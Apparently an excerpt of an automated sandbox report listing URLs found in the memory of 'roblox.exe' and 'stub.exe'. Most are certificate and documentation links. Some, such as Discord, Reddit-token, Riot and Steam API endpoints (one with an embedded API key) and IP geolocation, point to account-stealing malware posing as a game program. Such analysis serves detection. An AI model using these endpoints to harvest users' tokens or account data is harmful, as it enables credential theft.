Source: stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2561264236.000002895A384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl
Source: stub.exe, 00000003.00000003.2568258538.000002895A198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl0
Source: stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2561264236.000002895A384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crlH
Source: stub.exe, 00000003.00000003.2559320224.000002895A3FF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2563377401.000002895A415000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2558492831.000002895A3EC000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2560211642.000002895A301000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl
Source: stub.exe, 00000003.00000003.2569364627.0000028959959000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.0000028959959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl
Source: stub.exe, 00000003.00000003.2569364627.0000028959827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: stub.exe, 00000003.00000003.2569364627.0000028959959000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.0000028959959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crlfts4aux
Source: stub.exe, 00000003.00000003.2569364627.0000028959959000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.0000028959959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl
Source: stub.exe, 00000003.00000003.2569364627.0000028959827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: stub.exe, 00000003.00000003.2569364627.0000028959959000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.0000028959959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crlfts3
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: stub.exe, 00000003.00000003.2569364627.0000028959959000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.0000028959959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl
Source: stub.exe, 00000003.00000003.2569364627.0000028959827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: stub.exe, 00000003.00000003.2569364627.0000028959959000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.0000028959959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crlfts4aux
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2232354797.00000289598FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://curl.haxx.se/rfc/cookie_spec.html
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://docs.aiohttp.org/en/stable/logging.html#format-specification
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://docs.aiohttp.org/en/stable/logging.html#format-specificationauvloopaset_event_loop_policyaEve
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2573264823.0000028959CB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.kill
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2572985985.0000028959A30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2572985985.0000028959A30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.terminate
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569364627.0000028959827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://httpbin.org/post
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://ip-api.com/jsonacityatimezoneaispaorgaasuMain.GetNetworkInfoT
Source: stub.exe, 00000003.00000003.2567659423.00000289595C4000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2570477204.000002895956A000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572451024.0000028959810000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://json.org
Source: stub.exe, 00000003.00000003.2558492831.000002895A3EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es
Source: stub.exe, 00000003.00000003.2558492831.000002895A3EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es0
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2232354797.00000289598FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2573264823.0000028959CB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://python.org
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://python.org/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2573264823.0000028959CB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://python.org:80
Source: stub.exe, 00000003.00000003.2561264236.000002895A384000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2573726629.000002895A1BD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2568258538.000002895A1BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://speleotrove.com/decimal/decarith.html
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: stub.exe, 00000003.00000003.2558492831.000002895A3EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: stub.exe, 00000003.00000003.2569364627.0000028959959000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.0000028959959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl
Source: stub.exe, 00000003.00000003.2558492831.000002895A3EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: stub.exe, 00000003.00000003.2569364627.0000028959959000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.0000028959959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl2;
Source: stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2561264236.000002895A384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm
Source: stub.exe, 00000003.00000003.2558492831.000002895A3EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: stub.exe, 00000003.00000003.2558492831.000002895A3EC000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2561264236.000002895A384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es00
Source: stub.exe, 00000003.00000003.2559320224.000002895A3FF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2563377401.000002895A415000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2558492831.000002895A3EC000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2574634502.000002895A414000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/
Source: stub.exe, 00000003.00000003.2559320224.000002895A3FF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2563377401.000002895A415000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2558492831.000002895A3EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/44
Source: stub.exe, 00000003.00000003.2559320224.000002895A3FF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2558492831.000002895A3EC000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2574634502.000002895A414000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/y
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2572284099.0000028959710000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDAA000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2561264236.000002895A394000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2558673429.000002895A319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569981910.00000289598EC000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.00000289598EE000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2569364627.0000028959827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: stub.exe, 00000003.00000003.2567424854.000002895AB67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps
Source: stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2574430903.000002895A369000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://wwwsearch.sf.net/):
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://account.riotgames.com/api/account/v1/user
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://account.riotgames.com/api/account/v1/userT
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://accounts.reddit.com/api/access_token
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://accounts.reddit.com/api/access_tokenaaccess_tokenuandroid:com.example.myredditapp:v1.2.3uBea
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571250340.0000028957720000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&s
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571250340.0000028957720000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&s
Source: stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=440D7F4D810EF9298D25EDDF37C1F9
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2566816357.000002895A0E5000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2573560202.000002895A0E5000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572284099.0000028959710000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue37179
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/avatars/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://cdn.discordapp.com/avatars/u.pngu.gifuunsupported
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2584079623.00007FF8B7E4B000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://cffi.readthedocs.io/en/latest/using.html#callbacks
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/en/latest/faq/#why-can-t-i-import-my-pem-file
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v8/guilds/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://discord.com/api/v8/guilds/u/invitesainvitesuhttps://discord.gg/acodeulogs
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v8/users/
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.gg/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2566816357.000002895A0E5000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2573560202.000002895A0E5000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572284099.0000028959710000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.aiohttp.org/en/stable/client_advanced.html#proxy-support
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://docs.aiohttp.org/en/stable/web_advanced.html#application-s-config
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://docs.aiohttp.org/en/stable/web_advanced.html#application-s-configT
